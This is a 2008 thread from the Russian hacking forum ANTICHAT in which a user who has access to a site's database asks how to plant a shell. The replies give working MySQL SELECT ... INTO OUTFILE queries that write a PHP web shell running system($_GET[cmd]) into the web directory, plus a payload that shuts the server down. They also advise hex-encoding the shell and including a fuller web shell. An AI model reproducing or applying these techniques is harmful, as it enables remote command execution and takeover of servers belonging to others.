HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра

Шелл через MySQL
  #1  
Старый 14.05.2008, 04:50
~Taxa~
Новичок
Регистрация: 24.01.2008
Сообщений: 20
С нами: 9630275

Репутация: 15
Exclamation Шелл через MySQL

Вот столкнулся с тем, что есть доступ к базе данных. То есть я конекчусь через RST MySQL скрипт к базе, могу удалять, создавать таблицы и т.д. Но мне надо залить шелл, если какие нибудь способы?
 

  #2  
Старый 14.05.2008, 09:07
SKAZ0CHN1k
Новичок
Регистрация: 08.02.2008
Сообщений: 8
С нами: 9607949

Репутация: 2
По умолчанию

Есть
Создаем допустим таблицу, в какое нить поле помещаем что-нить типа:
<?
system ('init 0'); // или любой производный код.
?>

SELECT поле INTO OUTFILE "/www/index2.php"
FROM таблица;

После выполнения запроса формируется файл в указанной дирректории с данными из таблицы
 

  #3  
Старый 14.05.2008, 09:09
SKAZ0CHN1k
Новичок
Регистрация: 08.02.2008
Сообщений: 8
С нами: 9607949

Репутация: 2
По умолчанию

правда там нада разобраться с экранированием символов, типа
SELECT поле INTO OUTFILE "/www/index2.php"
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY "\n"
FROM таблица;
// ну эт просто пример...
 

  #4  
Старый 14.05.2008, 09:37
_Pantera_
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами: 10313606

Репутация: 1327
По умолчанию

create table `lamak` (`phpcod` text not null);
insert into `lamak` (`phpcod`) values ('<? system($_GET[cmd]);?>');
select phpcod from `lamak` into outfile '/tmp/shell.php';
drop table `lamak`;

Только мой тебе совет, гет не используй, лучше поставь инклуд на нормальный веб-шелл.
 

  #5  
Старый 14.05.2008, 11:31
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

Цитата:
Сообщение от _Pantera_  
create table `lamak` (`phpcod` text not null);
insert into `lamak` (`phpcod`) values ('<? system($_GET[cmd]);?>');
select phpcod from `lamak` into outfile '/tmp/shell.php';
drop table `lamak`;

Только мой тебе совет, гет не используй, лучше поставь инклуд на нормальный веб-шелл.
Хм, зачем создавать таблицу, запихивать в неё код шелла, затем выводить это все в файл, получая шелл, а затем удалять таблицу?

На много проще будет сразу записать данные в файл:

Код:
select '<?php system($_GET["cmd"]); ?>' into outfile '/home/www/ .... /shell.php'
Только код шелла советую предварительно запихивать в хексы.

А вообще поиск юзать нужно перед созданием темы - обсуждалось и не раз.
 
Закрытая тема





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.